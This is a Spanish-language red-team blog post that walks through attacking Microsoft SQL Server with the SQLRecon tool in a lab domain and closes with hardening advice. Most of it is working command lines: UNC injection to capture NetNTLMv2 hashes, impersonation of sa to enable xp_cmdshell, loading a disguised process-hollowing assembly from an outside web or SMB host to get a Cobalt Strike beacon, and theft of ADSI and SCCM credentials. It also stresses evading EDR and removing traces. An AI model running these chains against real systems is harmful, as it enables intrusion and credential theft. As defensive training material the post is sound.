Cuidado con las bases de datos: abuso de Microsoft SQL Server con SQLRecon.

A lo largo de mi carrera, he tenido la oportunidad privilegiada de mirar detrás del velo de algunas de las organizaciones más grandes del mundo. En mi experiencia, la mayoría de las verticales de la industria dependen de redes empresariales de Windows. De hecho, puedo contar con los dedos de una mano la cantidad de veces que he visto una red descentralizada de confianza cero, Linux empresarial, red macOS o alternativa de Active Directory (FreeIPA).

A medida que navego por estas grandes y, a menudo, complejas redes empresariales, es común descubrir Microsoft SQL Server, que normalmente se ha desplegado para dar soporte a una función empresarial. Para los lectores que no están familiarizados con SQL Server, en resumen, es un software de base de datos relacional que normalmente se instala sobre un servidor Windows. El propósito principal de SQL Server es almacenar y proporcionar datos a aplicaciones o usuarios.

Esta entrada en el blog revisará la superficie de ataque que presenta SQL Server y cómo abusar de configuraciones erróneas y vulnerabilidades utilizando la herramienta de X-Force Red SQLRecon . Además, se describirán las consideraciones defensivas cuando corresponda.

Las vulnerabilidades y errores de configuración en SQL Server están bien documentados. Si bien estas debilidades aparentemente siempre han existido, de alguna manera el fortalecimiento de SQL Server continúa siendo pasado por alto por los equipos defensivos. Me refiero principalmente a reforzar la configuración subyacente y evitar el acceso trivial al servicio.

Una justificación plausible para esta supervisión es que existen riesgos mayores que una organización debe priorizar y abordar. Como resultado, el endurecimiento de SQL Server se queda en segundo plano, ya que manipular configuraciones de bases de datos de producción puede provocar problemas de disponibilidad, que podrían manifestarse en problemas operativos y, en última instancia, impactar la productividad empresarial.

Una de las configuraciones erróneas más comunes que sigo viendo en las redes empresariales es la capacidad de cualquier objeto de dominio autenticado para conectarse al servicio SQL como una cuenta de privilegios bajos. Para ello, solo se necesita un contexto de dominio válido. En otras palabras, un token válido para un usuario de dominio o una cuenta de equipo de dominio.

Para ilustrar un ejemplo, si la estación de trabajo de un usuario empresarial habitual se ve comprometida y existe una ruta de red a un SQL Server mal configurado, es posible que un adversario:

• Ejecute comandos SQL limitados en el SQL Server remoto.
• Determine los privilegios que tiene, que podrían ofrecer oportunidades de escalada mediante ataques de suplantación.
• Indique a SQL Server que proporcione materiales de autenticación a través de una solicitud a una ruta de convención de nomenclatura universal (UNC), lo que puede dar como resultado la obtención de credenciales, que a su vez pueden descifrarse o pasarse para realizar ataques de estilo de retransmisión.
• Aproveche los derechos asignados a un SQL Server que está vinculado a otros SQL Servers, lo que puede resultar en una escalada de privilegios.

Estos son solo algunos ejemplos de lo que un adversario puede lograr al evaluar un SQL Server mal configurado dentro de un contexto de dominio. La superficie de ataque presentada por SQL Server siempre dependerá del entorno y la configuración a los que se enfrente.

En los últimos tiempos, los operadores del equipo rojo han sido bendecidos por la variedad de abusos de Active Directory que se pueden aprovechar para elevar los privilegios en las redes empresariales de Microsoft. Sin embargo, a medida que los equipos defensivos comienzan a manejar la mitigación de estas debilidades, naturalmente, las vías para escalar los privilegios mediante el abuso de Active Directory tienden a agotarse.

Aún así, seguimos adelante y nos abrimos paso en la proverbial lista de ataques, buscando con optimismo vías de escalada que nos ayuden a actuar en función de nuestros objetivos. Me cuesta un poco admitir que, durante mucho tiempo, atacar SQL Server no era precisamente una de mis prioridades. En su lugar, opté por priorizar cosas como espacios de almacenamiento compartidos, aplicaciones web internas, herramientas de DevOps o infraestructura en la nube. Probablemente ya sabe a dónde voy con esto...

En algún momento de 2022, estaba trabajando en un proyecto y llegué a un punto muerto después de agotar todas las vías de escalada preferidas. Esto se debió en gran parte a un entorno excepcionalmente reforzado. Al menos, eso era lo que pensaba antes de descubrir una gran granja de SQL Server, donde solo tenía que haber un error de configuración o una vulnerabilidad.

Sin saberlo en ese momento, y solo después de escribir esta entrada en el blog, descubrí que Kaspersky había detectado que los ataques recurrentes con SQL Server habían aumentado un 56 % en 2022. Es una cantidad asombrosa.

Como operador del equipo rojo, a menudo interactúo con sistemas que he comprometido en las redes de nuestros clientes mediante una infraestructura de comando y control (C2). Los clientes con los que tenemos la suerte de trabajar suelen tener programas maduros de ciberseguridad, equipos defensivos capaces y controles de seguridad modernos, como soluciones de detección y respuesta de endpoints (EDR).

Se han desarrollado varias herramientas a lo largo de los años para atacar SQL Server. El que siempre terminé buscando durante mis días de pruebas de penetración fue PowerUpSQL . Este es un proyecto creado por Scott Sutherland (@_nullbind), desarrollado en gran parte en PowerShell.

Las soluciones de EDR pueden ser un oponente formidable al que enfrentarse, ya que hacen un trabajo fantástico al detectar herramientas maliciosas de código abierto diseñadas para la seguridad ofensiva, especialmente aquellas que dependen de PowerShell. Eso no es para despreciar las herramientas posteriores a la explotación de PowerShell; tienen un propósito, solo que no para el problema que enfrentaba en el entorno en el que me encontraba.

El problema que tenía en mi compromiso era que necesitaba encontrar la manera de conectarme a Microsoft SQL Server y empezar a interrogarlo para determinar si había alguna configuración incorrecta o vulnerabilidad. Sin embargo, el uso de cualquiera de las herramientas posteriores a la explotación de SQL Server existentes, que dependen de PowerShell, habría sido una forma segura de ser atrapado por el equipo defensivo. Esto se debe a una variedad de razones, que no analizaré en detalle, pero PowerShell no es un arnés ideal para lanzar sus ataques posteriores a la explotación debido a características de seguridad como AMSI, modo de lenguaje restringido y varios estilos de registro. Esto solo se agrava aún más cuando se implementa una solución de EDR y otros controles de registro y monitoreo.

Como alternativa, los operadores del equipo rojo a menudo eligen C# como lenguaje para desarrollar herramientas posteriores a la explotación, ya que proporciona una manera fácil de interactuar con la infraestructura .NET junto con las API de Windows.

De ninguna manera soy un desarrollador de C# o .NET, pero sé lo suficiente como para escribir herramientas que resuelvan un problema al que me enfrento. Queue SQLRecon , un kit de herramientas C# SQL diseñado para el reconocimiento ofensivo y la explotación posterior.

SQLRecon  ayuda a abordar la brecha de herramientas posterior a la explotación al modernizar el enfoque que los operadores del equipo rojo pueden adoptar al atacar SQL Servers. La herramienta fue diseñada para ser modular, lo que permite una fácil extensibilidad. SQLRecon  es compatible de forma independiente o dentro de un conjunto diverso de marcos C2. Al utilizar este último, SQLRecon  Se puede ejecutar tanto en proceso como con el método tradicional de bifurcar y ejecutar.

SQLRecon  tiene más de 80 módulos para elegir. A continuación, se presenta una visión general de algunas de las características que ofrece SQLRecon :

Proveedores de autenticación

• Cuenta de base de datos SQL local
• Autenticación de dominio de Windows basada en el token actual
• Autenticación de dominio de Windows con credenciales proporcionadas por el usuario
• Autenticación de dominio de Azure
• Autenticación local de Azure

Módulos de enumeración

• Localizar SQL Servers asociados con un nombre principal de servicio (SPN)
• Obtener información sobre el servicio SQL
• Determinar los privilegios dentro de SQL Server
• Enumerar bases de datos, tablas, columnas y usuarios
• Buscar contenido en bases de datos
• Ejecutar consultas arbitrarias
• Enumerar a los usuarios que pueden ser suplantados
• Identificar servidores SQL vinculados

Ejecución de comandos, movimiento lateral y escalada de privilegios

• xp_cmdshell
• Procedimientos de automatización OLE
• Cargar y ejecutar ensamblados CLR .NET personalizados
• Trabajos del agente SQL
• Recopilación de credenciales ADSI

Seguridad operativa

• Validación de autenticación continua
• Registro exhaustivo de la línea de comandos
• Barreras de ejecución basadas en si las opciones de SQL Server están habilitadas o deshabilitadas
• Manejo de errores de argumentos
• Creación de contenido SQL alfanumérico aleatorio cuando corresponda
• Limpieza automática de datos creados en SQL Server para fines de ejecución de comandos

Otro

• Capacidad para cambiar de contexto de base de datos
• Conectarse a SQL Server que escuchan en puertos TCP no estándar
• Compatibilidad con ataques de suplantación de identidad
• Capacidad para enumerar y atacar SQL Servers vinculados
• Soporte para una variedad de ataques de bases de datos SQL de Microsoft System Center Configuration Manager (SCCM) y Microsoft Endpoint Configuration Manager (MECM)
• Todas las consultas SQL utilizan el System.Data.SqlClient  espacio de nombres, desarrollado por Microsoft

Para obtener información detallada sobre el uso de cada técnica, consulte la wiki.

Para preparar el escenario para las próximas demostraciones, operaré desde una estación de trabajo Windows 10 comprometida que pertenece a Jeff Smith(JSmith) en la kawalabs.local  red empresarial.

La estación de trabajo de Jeff tiene una ruta de red a tres SQL Servers, cada uno de los cuales ejecuta versiones diferentes; 2016, 2019 y 2022.

Se configuró un enlace SQL entre SQL01  y SQL02 , y se configuró otro enlace SQL entre SQL02  Y SQL03 . Para los lectores que no están familiarizados con los SQL Servers vinculados, esto permite que una instancia de SQL ejecute sentencias SQL en otra instancia de SQL. Por ejemplo, SQL01  puede ejecutar sentencias SQL en SQL02, y SQL02  puede ejecutar sentencias en SQL03, pero SQL01 no puede ejecutar sentencias en SQL03  y viceversa. Es común ver SQL Servers vinculados en redes empresariales reales.

Además, existe un enlace de Active Directory Services (ADSI) entre SQL03  y el controlador de dominio principal en el kawalabs.local  dominio, DC01 . Los enlaces ADSI proporcionan a SQL Server una forma de interactuar con los objetos de Active Directory.

Por último, el kawalabs.local  dominio se ha conectado a un dominio de Azure Active Directory, kawalabs.onmicrosoft.com  usando Azure AD Connect. Esto permite a los usuarios de Active Directory on premises en kawalabs.local  acceder a los recursos en la nube de Azure. El  kawalabs.onmicrosoft.com  arrendamiento de Azure AD contiene un SQL Server que almacena datos de pago, ECOM01 .

Figura 1: Configuración de red

Además, aprovecharé Cobalt Strike, que es un marco de comando y control popular, para realizar tareas posteriores a la explotación desde la estación de trabajo comprometida de Jeff(DESKTOP-LF8Q3C6) . En la siguiente captura de pantalla, ejecuté el whoami  comando. Esto es solo para mostrar que Jeff no es un usuario privilegiado y tiene derechos básicos dentro del kawalabs.local  dominio y una red más amplia.

Figura 2: Emisión del comando whoami

En el momento de redactar este documento,SQLRecon tiene dos módulos de enumeración que se pueden utilizar para descubrir servidores SQL en una red, así como obtener información sobre una instancia de SQL Server. El siguiente comando enumerará los nombres principales de servicio (SPN) de Active Directory e identificará si existen SPN configurados para SQL Servers. En el kawalabs.local dominio, hay un SPN establecido para un par de cuentas diferentes, que se demuestra en la siguiente captura de pantalla.

SQLRecon.exe /e:SqlSpns /d:kawalabs.local

Figura 3: Descubrimiento de SQL Servers a través de la recopilación de SPN

Se llama al info  El módulo es muy útil para obtener información adicional sobre un servidor. El siguiente ejemplo demuestra el tipo de información que se recupera de un SQL Server.

SQLRecon.exe /a:WinToken /h:SQL02 /m:info

Figura 4: Obtención de información sobre SQL02

Un agradecimiento a Daniel Duggan (@_RastaMouse) por sus contribuciones a los módulos de enumeración en SQLRecon .

Los módulos estándar se ejecutan sobre una única instancia de SQL Server.

En el siguiente ejemplo, utilizo el AzureAD  proveedor de autenticación, que utiliza el nombre de usuario y la contraseña de una cuenta de Azure Active Directory para autenticarse en ECOM01 , una instancia de SQL ubicada en la nube de Azure. Luego utilizo el whoami  módulo para determinar los privilegios que Jeff tiene en ECOM01 .

SQLRecon.exe /a:AzureAD /d:kawalabs.onmicrosoft.com /u:jsmith /p:XXXX /h:ecom01.database.windows.net /m:whoami

Figura 5: Enumeración de privilegios SQL para jsmith@kawalabs.onmicrosoft.com

De forma predeterminada, SQLRecon  se conectará a la master  base de datos, ya que esta base de datos normalmente existe en todas las instancias de SQL Server. Sin embargo, puede enumerar fácilmente todas las diferentes bases de datos en las instancias de SQL Server utilizando el databases  módulo.

SQLRecon.exe /a:AzureAD /d:kawalabs.onmicrosoft.com /u:jsmith /p:XXXX /h:ecom01.database.windows.net /m:databases

Figura 6: Enumeración de bases de datos en ECOM01

Puede conectarse a otras bases de datos especificando el nombre de la base de datos con ladatabase marca /: y pasa a cualquier módulo que quiera ejecutarse. En el siguiente ejemplo, me conecto a la Payments  base de datos en ECOM01  y ejecuto una consulta SQL personalizada que obtendrá todo el contenido de la cc  tabla.

SQLRecon.exe /a:AzureAD /d:kawalabs.onmicrosoft.com /database:Payments /u:jsmith /p:XXXX /h:ecom01.database.windows.net /m:query /c:"select * from cc;"

Figura 7: Obtención de datos de tarjetas ficticias de la cc  tabla en la Payments  base de datos en ECOM01

Pasando a algunos módulos más interesantes, SQLRecon  admite la inyección de rutas UNC, que puede realizar una cuenta de usuario con privilegios bajos, como KAWALABS\JSmith . Esto puede dar como resultado la obtención de credenciales hash, que a su vez pueden descifrarse o transmitirse para realizar ataques de tipo retransmisión. En el siguiente ejemplo, utilizo el WinToken  proveedor de autenticación, que utiliza el token para la KAWALABS\JSmith  cuenta de usuario, para autenticarse contra SQL02 , un servidor on premises.

SQLRecon.exe /a:WinToken /h:SQL02 /m:smb /rhost:\\172.16.10.19\Projects

Figura 8: Inyección de ruta UNC

En la siguiente captura de pantalla, podemos ver la conexión realizada por SQL02  un host bajo nuestro control (172.16.10.19). Esto da como resultado la obtención del hash NetNTLMv2 para la KAWALABS\mssql_svc  cuenta de dominio.

Figura 9: Obtención del hash NetNTLMv2 para KAWALABS\mssql_svc

SQLRecon  tiene una variedad de módulos de ejecución de comandos que se pueden utilizar para ejecutar comandos arbitrarios en el sistema subyacente. Esto es particularmente útil si busca realizar una escalada de privilegios o un movimiento lateral. Se han implementado importantes medidas de seguridad en todo SQLRecon para garantizar que la seguridad operativa esté habilitada de forma predeterminada. Las dos barreras principales son:

• Validación de autenticación continua, donde SQLRecon  validará que es posible autenticarse en el dominio o en SQL Server antes de ejecutar cualquier módulo.
• Barreras de ejecución, donde SQLRecon  validará que existan las condiciones óptimas antes de ejecutar cualquier módulo que cargue objetos, cree objetos o ejecute comandos.

xp_cmdshell ha sido durante mucho tiempo uno de los métodos más comunes para ejecutar comandos en el servidor subyacente a través de una base de datos SQL. En el siguiente ejemplo, utilicé la cuenta de privilegio bajo KAWALABS\JSmith  para intentar iniciar la notepad.exe  aplicación en SQL01 .

SQLRecon.exe /a:WinToken /h:SQL01 /m:xpCmd /c:notepad.exe

Figura 10: Demostración de la barrera de protección que impide la ejecución de comandos

Como se ve en la imagen anterior, se encuentra una barrera de ejecución y se recibe un mensaje de error que indica que xp_cmdshell  está desactivada. Esta suele ser la configuración predeterminada en la mayoría de las versiones de SQL Server. Lo bueno es que, SQLRecon  tiene un enableXp  módulo, que habilitará la xp_cmdshell  configuración. SQLRecon también tiene un disableXp  módulo para que pueda volver al estado seguro original tras ejecutar su comando con xpCmd .

SQLRecon.exe /a:WinToken /h:SQL01 /m:enableXp

Figura 11: Demostración de otra barrera de seguridad, en la que la falta de privilegios impide la ejecución de comandos

Como era de esperar, la cuenta de privilegio bajo KAWALABS\JSmith  se encuentra con una barrera de ejecución y recibe un mensaje indicando que no tiene los privilegios necesarios para habilitar o deshabilitar xp_cmdshell  …¿o no?

La suplantación de identidad SQL es un permiso especial que, básicamente, permite a un usuario o grupo operar con los permisos de otro usuario, además de con sus propios permisos. La siguiente captura de pantalla se tomó de la configuración de backend de SQL02  y demuestra que la BUILTIN\Users  puede suplantar la sa  cuenta.

Figura 12: BUILTIN\Users  puede suplantar la sa  cuenta en SQL02

SQLRecon  tiene un impersonate  módulo para ayudar a determinar si una cuenta de usuario puede hacerse pasar por otro usuario.

SQLRecon.exe /a:WinToken /h:SQL02 /m:impersonate

Como se ve en la captura de pantalla a continuación, la KAWALABS\JSmith  cuenta de usuario con privilegios limitados puede suplantar  sa  cuenta en SQL02 . Esto demuestra la capacidad de ejecutar comandos en la instancia de SQL con privilegios similares a los de un administrador. Además, significa que ahora podemos ejecutar comandos del sistema en el servidor subyacente.

Figura 13: Enumeración de cuentas que se pueden suplantar en SQL02

Para demostrar otro módulo de ejecución de comandos, SQLRecon  puede ejecutar comandos en el usuario subyacente utilizando procedimientos de automatización OLE. Esto utiliza el odsole70.dll  ensamblado para interactuar con objetos COM de modo que wscript.shell  se puede aprovechar para ejecutar comandos arbitrarios del sistema.

Los módulos de suplantación siempre están precedidos con la letra i , y estos módulos necesitarán el nombre de la cuenta que se va a suplantar. En el siguiente ejemplo, me conecto a SQL02  como la cuenta de privilegio bajo KAWALABS\JSmith  y suplanto la sa  cuenta para habilitar los procedimientos de automatización OLE en SQL02 .

a:WinToken /h:SQL02 /i:sa /m:iEnableOle

Figura 14: Habilitación de procedimientos de automatización OLE mediante suplantación

Ahora que los procedimientos de automatización OLE están habilitados en SQL02 , estoy en condiciones de ejecutar cualquier comando arbitrario en el servidor subyacente en el contexto de la cuenta de usuario que ha iniciado el proceso de SQL Server. En el siguiente ejemplo, ejecuto un proceso secundario de PowerShell que enumera el directorio del mismo recurso compartido que se utilizó anteriormente para capturar las credenciales de NetNTLMv2. Tenga en cuenta que esto es principalmente para fines de demostración y no suele ser una acción que se realizaría en un compromiso de simulación de adversario.

SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iOleCmd /c:"powershell.exe ls \\172.16.10.19\Projects"

Figura 15: Uso de PowerShell para enumerar un directorio en un host remoto

Como se ve en la captura de pantalla anterior, se crea un objeto y método OLE generados aleatoriamente, luego se ejecuta el comando malicioso y se destruyen los objetos OLE. Esto es intencional, ya que no queremos dejar ninguna evidencia de nuestras acciones.

En la siguiente captura de pantalla, podemos ver la conexión que realiza la KAWALABS\mssql_svc  cuenta de usuario a través de SQL02  un host bajo nuestro control (172.16.10.19). Esto da como resultado la obtención del hash NetNTLMv2 para la KAWALABS \mssql_svc  cuenta de computadora.

Figura 16: Obtención del hash NetNTLMv2 para KAWALABS\mssql_svc

El siguiente ejemplo demuestra el uso de la suplantación para ejecutar el tasklist  comando usando xp_cmdshell  en SQL02 .

SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iEnableXp

SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iXpCmd /c:tasklist

Figura 17: Habilitación xp_cmdshell  y ejecución de comandos del sistema mediante suplantación en SQL02

Siempre es una buena práctica revertir las configuraciones al estado original.

SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iDisableOle

SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iDisableXp

Figura 18: Deshabilitar los procedimientos de automatización OLE y xp_cmdshell  en SQL02

SQLRecon  también puede realizar ataques contra instancias vinculadas de SQL Server. La siguiente captura de pantalla se tomó de la configuración de backend de SQL02  y demuestra que la SQL02  tiene un enlace a SQL03 . Según mi experiencia, esta es una configuración común en las redes de grandes empresas.

Figura 19: SQL02  tiene un enlace SQL a SQL03

La configuración de un enlace entre dos instancias de SQL Server suele requerir un conjunto de credenciales privilegiadas para establecer y vincular el enlace. Esto es beneficioso para los adversarios, ya que permite ejecutar comandos en el SQL Server vinculado en el contexto de la cuenta que ha establecido la conexión. Otro punto a tener en cuenta es que los servidores vinculados pueden estar segmentados de la red en la que opera un adversario. Esto podría presentar la oportunidad de atravesar los límites de la segmentación e ingresar a una zona de red con mayores requisitos de seguridad.

SQLRecon  tiene un links  para determinar si un SQL Server tiene instancias de SQL vinculadas.

SQLRecon.exe /a:WinToken /h:SQL02 /m:links

Figura 20: Enumeración de SQL Server vinculados en SQL02

Los módulos vinculados siempre están precedidos con la letra l , y estos módulos necesitarán el nombre de un servidor vinculado contra el que desea emitir comandos. En el siguiente ejemplo, me conecto a SQL02  como la cuenta de bajo privilegio KAWALABS\JSmith  y emito el lWhoami  comando contra la instancia SQL03  vinculada.

SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lWhoami

Figura 21: Enumeración de los privilegios de SQL que podemos asumir en SQL03  a través de SQL02

Como se ve en la captura de pantalla anterior, estamos operando en el contexto de sa  cuenta en SQL03 . Esto se debe a que la cuenta sa se utilizó para establecer el enlace SQL desde SQL02  hacia SQL03 .

Todos los módulos de ejecución en SQLRecon  son totalmente compatibles con los SQL Servers vinculados. En el siguiente ejemplo, habilito la integración Common Language Runtime (CLR) en SQL02 .

SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lEnableClr

Figura 22: Habilitación de la integración CLR en SQL02

La integración CLR permite importar ensamblados .NET personalizados a SQL Server. Estos ensamblados se almacenan dentro de un procedimiento almacenado antes de ejecutarse. Este es un buen ataque de movimiento lateral primitivo.

En la siguiente captura de pantalla, creo un ensamblado .NET personalizado compatible con SQL Server CLR llamado hollow.dll . Esto almacenará una carga útil de Cobalt Strike en un procedimiento almacenado llamado ExecuteShellcode . La carga útil realiza un vaciado básico del proceso e inyecta el shellcode de Cobalt Strike en el hollow.dll recién creado en Internet Explorer,(iexplore.exe) proceso node.js.

Figura 23: hollow.dll , un ensamblado .NET compatible con SQL Server CLR

Si está interesado en obtener más información sobre los ensamblados .NET personalizados compatibles con CLR SQL Server, visite la sección Clr del SQLRecon  wiki. Un ejemplo de hollow.dll  se puede encontrar aquí.

En la siguiente demostración, subí hollow.dll  a un servidor web y cambie el nombre del ensamblado a favicon.png . Le doy instrucciones al servidor SQL03  vinculado para descargar favicon.png  desde un servidor web y realizar los pasos necesarios para importar el ensamblado personalizado a un procedimiento almacenado de SQL Server y ejecutar la carga útil. Esto da como resultado la obtención de una baliza Cobalt Strike en el contexto del KAWALABS\mssql_svc  usuario en SQL03 .

SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lClr /dll:https://cdn.popped.io/favicon.png /function:ExecuteShellcode

Figura 24: Obtención de una baliza Cobalt Strike en el contexto de KAWALABS\mssql_svc  en SQL03

Por supuesto, el ejemplo anterior requiere que SQL03  tenga acceso a Internet para descargar el ensamblado desde un servidor web público. Hay casos en los que no es posible o conveniente descargar un recurso externo desde un servidor web público. Como tal, SQLRecon  permite cargar ensamblados personalizados directamente desde el sistema de archivos del host comprometido o desde un recurso compartido de SMB. En la siguiente demostración, subí hollow.dll  a un servidor SMB local y cambié el nombre del ensamblado a Reports.xlsx . Le doy instrucciones al servidor SQL03  vinculado para descargar Reports.xlsx  desde el servidor SMB y realicé los pasos necesarios para importar el ensamblador personalizado a un procedimiento almacenado de SQL Server y ejecutar la carga útil. Esto da como resultado la obtención de una baliza Cobalt Strike en el contexto del KAWALABS\mssql_svc  usuario en SQL03 .

SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lClr /dll:\\172.16.10.19\Projects\Reports.xlsx /function:ExecuteShellcode

Figura 25: Obtención de una baliza Cobalt Strike en el contexto de

 KAWALABS\mssql_svc<code> on <code>SQL03

SQLRecon  también puede realizar ataques contra instancias vinculadas del servidor ADSI para obtener credenciales en texto claro para cuentas de dominio. Para obtener más información sobre las técnicas de ADSI, consulte la entrada en el blog de Tarlogic. La siguiente captura de pantalla se tomó de la configuración del backend SQL03  y demuestra que la SQL03  tiene un enlace ADSI al controlador de dominio principal en kawalabs.local  dominio, DC01 . Este enlace ADSI está representado por el linkADSI  objeto.

Figura 26: SQL03  tiene un enlace ADSI a DC01

La configuración de un enlace ADSI desde una instancia de SQL Server a un controlador de dominio de Active Directory no requiere necesariamente credenciales privilegiadas. Sin embargo, durante las operaciones del mundo real, he visto casos en los que no se ha aplicado el principio de privilegio mínimo.

En el siguiente ejemplo, utilizo el lLinks  módulo al que se conecta primero SQL02 , y luego consulta SQL03  para un SQL Server vinculado adicional. Pensemos en esto como un escenario de doble enlace.

SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lLinks

Figura 27: Enumeración de enlaces en SQL03  desde SQL02

Ahora que hemos verificado que existe un enlace ADSI en SQL03 , podemos aprovechar el lAdsi  módulo para obtener las credenciales de dominio de texto claro utilizadas para configurar la conexión ADSI desde SQL03  hacia DC01 . Esto implica cargar un ensamblado CLR personalizado que contiene un servidor LDAP en una nueva rutina de tiempo de ejecución de SQL Server en SQL03 . El servidor LDAP se ejecutará y estará a la espera de conexiones locales en un puerto proporcionado por el usuario, en este caso 49103. Luego aprovechamos los trabajos del agente SQL Server en SQL03 para dirigir las credenciales utilizadas para configurar la conexión ADSI para solicitar una petición LDAP al servidor LDAP local en el puerto 49103. Esta redirección temporal de autenticación LDAP es lo que finalmente da como resultado la obtención de credenciales de dominio de texto claro. Cabe señalar que los módulos Adsi e iAdsi no emplean trabajos de agente SQL Server para iniciar el proceso de solicitud LDAP; en su lugar, se emplean consultas SQL estándar.

SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lAdsi /rhost:linkADSI /lport:49103

Figura 28: Ataque de recopilación de credenciales ADSI de doble enlace

Una de las mayores extensiones de SQLRecon  proviene de mi colega Dave Cossa (@G0ldenGunSec), quien presentó una variedad de módulos que se pueden aprovechar para abusar de Microsoft System Center Configuration Manager (SCCM) y Microsoft Endpoint Configuration Manager (ECM). Los módulos SCCM se desarrollaron a partir de un compromiso del mundo real, en el que abusar de la base de datos SCCM SQL Server facilitó el avance de nuestro progreso hacia los objetivos. En la mayoría de los casos, para interactuar con la base de datos SCCM, se debe adquirir un contexto de privilegios elevados o se debe obtener acceso al servidor SCCM. En los ejemplos a continuación, tengo una baliza Cobalt Strike que se ejecuta en el contexto de la KAWALABS\mssccm_svc  cuenta en un servidor ECM, MECM01 .

Simplemente me referiré tanto a ECM como a SCCM como SCCM a partir de este punto.

En el siguiente ejemplo, utilizo el módulo de bases de datos para enumerar lasdatabases que existen en la instancia de SQL Server en MECM01 .

SQLRecon.exe /a:WinToken /h:MECM01 /m:databases

Figura 29: Enumeración de bases de datos en MECM01

Como se ve en la captura de pantalla anterior, el CM_KAW  existe una base de datos, que probablemente sea una base de datos configurada para SCCM en este servidor.

Los módulos SCCM siempre se anteponen con la letra s , y estos módulos necesitarán el nombre de la base de datos SCCM contra la que desea emitir comandos. En el siguiente ejemplo, me conecto a la CM_KAW  base de datos en MECM01  como la KAWALABS\mssccm_svc  cuenta y emito el sUsers  dominio. Este módulo enumera los principales configurados para iniciar sesión en el servidor SCCM.

SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sUsers

Figura 30: Enumeración de todos los usuarios que pueden iniciar sesión en SCCM a través de la base de datos SCCM SQL Server

También es posible enumerar tareas que se han configurado en SCCM mediante el sTaskList  módulo.

SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sUsers

Figura 31: Enumeración de tareas configuradas en SCCM a través de la base de datos SCCM SQL Server

Por lo general, SCCM necesitará guardar en una bóveda las credenciales, que se utilizan para autenticarse en sistemas o recursos en un entorno para desplegar paquetes de software o realizar cualquiera de las otras acciones proporcionadas por SCCM. Usando el sCredentials  módulo, podemos obtener una lista de credenciales en bóvedas.

SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sCredentials

Figura 32: Obtención de credenciales a través de la base de datos SCCM SQL Server

En la captura de pantalla anterior, podemos ver que se ha guardado una credencial en bóveda, y esta es la credencial para el KAWALABS\mssccm_svc  cuenta.

Usando la lógica de Adam Chester’s (@_xpn_) , es posible descifrar las credenciales en bóveda de SCCM y obtener la contraseña de texto claro para las cuentas en bóveda. Esto requiere privilegios de administrador local en el servidor SCCM. En la siguiente captura de pantalla, utilizo la sDecryptCredentials  cuenta para descifrar la credencial en bóveda para el KAWALABS\mssccm_svc  cuenta.

SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sDecryptCredentials

Figura 33: Descifrado de credenciales SCCM en bóveda

Para evitar que los atacantes abusen de SQL Server, los defensores pueden adoptar un enfoque por capas al implementar controles de seguridad. Ante todo, recomendaría ampliamente leer la guía oficial de Microsoft sobre las mejores prácticas de seguridad en SQL Server.

La siguiente parada debería ser la orientación de prevención, detección y mitigación en elSQLRecon  wiki, que tiene algunas consideraciones defensivas excelentes. Elegí algunos de los controles más importantes para implementar y los enumeré a continuación.

Se deben considerar los siguientes controles de seguridad para su implementación a nivel de red.

• Asegúrese de que las rutas de red a SQL Server se hayan contabilizado y limitado solo a un conjunto autorizado de sistemas o subredes. Las estaciones de trabajo rara vez requieren la capacidad de comunicarse directamente con SQL Servers. Considere bloquear el acceso a TCP 1433 si es viable.
• Verifique que las herramientas de registro y monitoreo de red estén capturando consultas SQL que atraviesan los límites de red. Sería inusual que una estación de trabajo enviara consultas SQL a un servidor SQL.

estaciones de trabajo y servidores en el entorno.

• Valide que los controles de seguridad basados en host, como las soluciones de detección y respuesta de endpoints, estén habilitados y que las firmas de productos estén completamente actualizadas de manera regular.
• Los defensores deben asegurarse de que la infraestructura .NET v4.8 esté instalada en los endpoints de Windows y de que cualquier producto de seguridad basado en host que se utilice sea compatible con AMSI para .NET. Esto permite el escaneo de ensamblados .NET en la memoria.
• Habilite o configure una solución de lista de aplicaciones permitidas para evitar binarios sin firmar, como SQLRecon , se ejecute directamente en el endpoint.

• Asegúrese de que se hayan seguido las pautas de endurecimiento en el sistema operativo Windows Server subyacente. Considere instalar solo los componentes necesarios de la base de datos SQL.
• Asegúrese de que los SQL Servers estén incluidos en la política de gestión de parches de la organización y que los parches se apliquen de forma rutinaria contra el servicio SQL y los SQL Servers.
• Considere restringir o eliminar la BUILTIN\Users  cuenta para autenticar en instancias de SQL Server.
• Siga el principio de privilegio mínimo al configurar roles en cuentas de usuario. Este principio también debe aplicarse a la cuenta de servicio que inicia SQL Server.
• Elimine las asociaciones innecesarias de nombres principales del servicio SQL.
• Utilice contraseñas seguras para cualquier cuenta local, como la sa  cuenta.
• Registre, ingiera y audite de forma centralizada los eventos de inicio de sesión de SQL Server. Netwrix escribió un gran blog sobre cómo se puede lograr esto.
• Cifre el contenido confidencial. Esto evita que los conjuntos de datos queden expuestos, incluso si SQL Server está en peligro.
• Evalúe los enlaces entre SQL Servers y determine el tipo de autenticación que vincula el enlace. Si es posible, elija usar el contexto de seguridad de autenticación actual, en lugar de usar el contexto del sa  cuenta.
• Evalúe cualquier suplantación que se haya configurado y determine sus requisitos.
• Si utiliza SQL Database, asegúrese de que Microsoft Advanced Threat Protection esté habilitado y configurado para enviar alertas.

Los ataques contra SQL Server continúan siendo relevantes en el escenario actual de ciberseguridad. Los adversarios evolucionan constantemente sus técnicas para evadir los controles defensivos y, al hacerlo, explotan cada vez más los servicios auxiliares, como SQL Server. Estos ataques se han vuelto más sofisticados y sigilosos, a menudo empleando técnicas menos comunes para eludir las medidas de seguridad tradicionales.

